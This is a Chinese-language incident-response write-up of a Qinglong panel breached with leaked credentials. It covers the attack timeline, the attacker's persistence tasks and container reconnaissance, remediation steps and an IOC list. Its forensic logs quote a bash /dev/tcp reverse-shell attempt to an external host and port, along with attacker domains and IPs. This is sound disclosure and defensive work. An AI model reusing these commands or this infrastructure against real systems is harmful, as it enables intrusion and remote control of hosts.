我的青龙面板被黑了半年:从「国外 IP 登陆」通知到完整取证复盘
一、TL;DR
一台部署在阿里云 ECS 上的青龙面板,持续收到「国外 IP 登陆」通知,起初以为是常见的爆破噪音。取证后发现:境外黑产最迟从 2026 年 4 月 13 日起就持有面板凭据,累计 61 次登录、43 次成功,期间在容器内以 root 执行了整套侦察命令、留下每分钟执行的持久化任务、先后 5 次尝试下载恶意载荷——全部载荷投递均因容器网络问题失败,且面板环境变量为空、无可窃取的 Cookie,最终未造成实际损失。
本文完整复盘:排查过程(含一个极易看反的日志字段)、攻击时间线、攻击者画像与凭据来源推断、为什么没有造成损失、应急处置清单,以及给所有青龙面板用户的建议。
脱敏说明:本文已隐去服务器 IP 与面板账号(部分打码);攻击者 IOC 保留完整,便于在威胁情报平台查询比对。
二、起因:一直骚扰我的「国外 IP 登陆」通知
服务器上用某一键部署工具装了青龙面板,跑在非默认端口上,通过安全组对公网开放。一段时间以来,通知渠道反复推送青龙的「登录通知」:某个美国、英国、德国的 IP 尝试登录面板。
最常见的误判是把它当成 SSH 爆破噪音——「公网机器嘛,天天被人扫,习惯了」。
于是按标准流程先排除了最坏情况:
1 | # 宿主机成功登录记录:全部是国内 IP(自己的登录) |
SSH 层面干净。那么问题一定出在面板自己身上。
三、排查:一个极易看反的日志字段
青龙的登录日志存在 SQLite 里(data/db/database.sqlite 的 Auths 表),每条记录带 info JSON:IP、归属地、平台、status。
第一直觉:status=1 是「成功」,status=0 是「失败」。按这个理解,境外 IP 大多是失败尝试——虚惊一场。
但这个直觉是反的。 翻青龙源码(back/data/system.ts):
1 | export enum LoginStatus { |
TypeScript 数字枚举从 0 开始,success=0、fail=1。再看 services/user.ts,登录成功才写入 LoginStatus.success 并推送「登录成功」通知。
翻转语义重新统计,结论完全不同:
| 统计项 | 数量 |
|---|---|
| 登录日志总记录 | 71 条(含 3 条安装初始化、7 条本人登录) |
| 境外 IP 记录 | 61 条 |
| 境外 IP 成功登录(status=0) | 43 次 |
| 境外 IP 失败尝试(status=1) | 18 次 |
也就是说:**过去半年,境外 IP 成功登录了这台面板 43 次。**通知里那些「国外 IP 登陆」,不是爆破噪音,是真实的入侵。
四、攻击时间线:两个风格迥异的阶段
把 61 条境外记录按时间排开,能清晰看到两个阶段:
| 时间 | 阶段特征 |
|---|---|
| 2025-12-25 | 面板经一键部署工具安装,凭据由工具自动生成(test_id9*** / pass_eys***) |
| 2026-03-16 | 本人最后一次正常登录(此后面板再无本人登录记录) |
| 2026-04-13 ~ 06-10 | 第一阶段:15 次登录全部成功、零失败,来源集中在 DigitalOcean 固定网段(纽约/丹佛/德州),时间点大多规律地落在 UTC 14:15 前后,每 2~3 天一次 |
| 2026-06-03 / 06-11 | 两次载荷投递尝试(见下文),均失败 |
| 2026-06-24 ~ 09-27 | 第二阶段:节奏突变,机房 IP + 家宽代理轮换(德国电信、捷克 T-Mobile),开始出现失败记录,动作变密 |
| 2026-08-21 | 创建两个每分钟执行的持久化任务(创建时间与某次成功登录精确到同一秒) |
| 2026-09-14 / 09-25 / 09-30 | 三波密集的容器内命令执行(踩点) |
| 2026-10-03 | 发现、取证、处置 |
第一阶段那种「零失败 + 固定时刻 + 固定网段」的规律性,是自动化工具按资产清单定时「验活」的典型特征——不是人在操作,是清单化作业。
五、攻击者在里面做了什么
1. 埋持久化探针
任务表里出现两个不是任何人创建过的任务:
1 | id=6 ql-osprobe-3d302f command: echo %OS% schedule: * * * * * |
创建时间 2026-08-21 12:00:21 UTC,与该秒内的两条成功登录记录逐毫秒吻合。echo %OS% 是个 Windows 风格的命令,在 Linux 容器里只会原样回显——它的作用不是执行什么,而是验证「我能在你这里创建并执行定时任务」,相当于确认任意命令执行能力的心跳探针。它每分钟跑一次,跑了一个多月,日志目录攒了 5.9MB。
2. 容器内踩点(root 权限)
data/log/ 下出现一批以系统命令命名的任务日志,ps 日志甚至拍到了踩点现场——whoami 返回 root,id 返回 uid=0(root):
1 | whoami → root |
cat /etc/passwd、netstat、last——教科书式的入侵后侦察:确认权限、摸清服务与账号、寻找横向移动的可能性。
3. 五次载荷投递,全部失败
1 | 2026-06-03 19:50 bash: /dev/tcp/13.52.56.206/6443: Host is unreachable |
三次 curl 指向 Cloudflare Pages 免费托管域名(黑产常用的零成本、可信 TLS 挂马基础设施),一次是用 bash 内建的 /dev/tcp 向 AWS 主机 6443 端口反连(反弹 shell / C2 手法)。五次全部因为容器内 DNS 解析失败或路由不可达而失败——攻击者反复重试说明载荷投递是其既定步骤,只是运气站在了我这边。
六、他们是怎么进来的
证据链可以排除「爆破」:
- 境外记录中失败仅 18 次、成功 43 次,第一阶段更是 15 连成功零失败;
- 凭据是部署工具生成的
pass_eys***(8 位随机后缀),爆破它在算力上不现实。
结论:攻击者从一开始就持有正确密码,是「已知凭据清单」(credential stuffing)式登录,配合代理池轮换 IP。那么凭据从哪来?按可能性排序:
- 部署工具的凭据模板/生成规则泄露。
test_xxx/pass_xxx这种模板化自动生成凭据,一旦工具开源、被破解或文档带示例,扫描器就能批量套用在所有同类部署的面板上。 - 黑产流通的「面板清单」转手。第一阶段像清单维护方在稳定验活;6 月底起突然换家宽代理、出现失败、动作变密,很像清单被转卖或换了更激进的操作方。
- 部署平台自身泄露(如未鉴权接口吐出实例凭据)——无法在本地验证,但值得怀疑。
至于这台面板如何被发现的:公网端口上的青龙面板有明确指纹,用 FOFA/Shodan 这类测绘引擎一搜就是一个目标列表。这是全自动化流水线作业,不是被针对。
七、为什么没有造成实际损失
坦率说,一半靠运气,一半靠架构。
运气成分:环境变量表是空的——青龙面板被黑产盯上的头号原因是环境变量里通常存着电商 Cookie、签到 Token,这个面板恰好没有;五次载荷投递全部因网络问题失败——若有一次成功,大概率就是已公开报道的青龙挖矿剧本(如 2026 年 2 月起批量出现的 .fullgc 挖矿木马:篡改 config.sh 持久化、CPU 飙至 800%)。
架构成分:容器未挂载 docker.sock、非特权模式、仅挂载自己的 data 目录——容器内 root 出不来,宿主机经完整性核查(authorized_keys、计划任务、进程、用户、近期文件变更)全部干净,SSH 从未有密码登录成功的记录。
但要认清:容器内的 root 并不是没有危害。攻击者可以读写宿主机上挂载的数据目录、从容器网络触达宿主机其他服务、在容器里挖矿或当跳板。这次没被打穿,不能成为下次的侥幸理由。
八、应急处置清单
确认入侵后,按以下顺序完成处置(全程可复核):
- 取证先行:导出登录日志、任务表、crontab.list 至独立目录,再动手清理;
- 删除攻击者任务:清除
ql-osprobe-*任务与crontab.list中的对应行,重启面板后确认容器内 crontab 已清空; - 重置凭据 + 吊销令牌:修改面板密码,同时清空
tokens列表——青龙登录会签发 20~60 天的长期 JWT,只改密码不清令牌,攻击者手里的旧 token 依然有效;实测旧密码登录已被拒绝; - SSH 加固:
PasswordAuthentication no(历史记录确认无人用密码登录过,零风险),密钥登录验证正常; - 善后观察:处置后持续确认无新的境外登录记录。
处置后预测:攻击者的验活清单还会按老节奏来试旧密码(几天到几周一次),收到「登录失败」通知属于正常现象;连续失败后这台机器大概率被自动化标记为「失效资产」剔除。
九、给青龙面板用户的建议
- 不要把面板直接暴露公网。安全组白名单常用 IP,或改绑 127.0.0.1 用 Nginx 反代加认证——这是根本解;
- 一键部署工具生成的凭据不可信,装完第一件事就是改掉面板账密;
- 开启面板两步验证;
- 改密码时记得清空 tokens,否则长期 JWT 依然有效;
- 定期看一眼登录日志(系统设置 → 登录日志),注意区分成功与失败;
- 警惕这些信号:收到「登录成功」通知、CPU 无故升高、
config.sh被改动、任务列表出现陌生条目(尤其osprobe、echo %OS%这类特征); - 环境变量里存 Cookie 前先想清楚:面板被进 = Cookie 被拿走。
十、IOC
| 类型 | 值 | 备注 |
|---|---|---|
| 任务名特征 | ql-osprobe-xxxxxx |
持久化探针 |
| 任务命令 | echo %OS% |
命令执行验证标记 |
| 挂马域名 | redirect-master-pages.pages.dev |
Cloudflare Pages 滥用 |
| C2/反连 | 13.52.56.206:6443 |
AWS |
| 攻击 IP(机房) | 167.99.144.141、192.241.248.162、107.170.4.8、159.223.124.87、209.38.147.226、209.38.159.63、209.38.69.197、143.110.227.93、206.189.199.39、138.68.51.132、162.243.242.176、159.89.133.180、157.245.203.132、164.92.198.3、46.101.3.110、138.197.150.101、64.227.126.240、159.65.104.231、65.20.79.73 |
多为 DigitalOcean |
| 攻击 IP(其他) | 149.36.50.19、149.102.245.71、149.102.245.72、146.70.244.6、146.70.244.9、149.22.86.23 |
DataCamp/科进 |
| 攻击 IP(家宽代理) | 217.232.106.95(德国电信)、89.24.12.46(捷克 T-Mobile) |
第二阶段出现 |
系列文章
- 上篇:本文
- 下篇:续:换了密码,他还是进来了 —— 青龙面板攻防复盘(下)


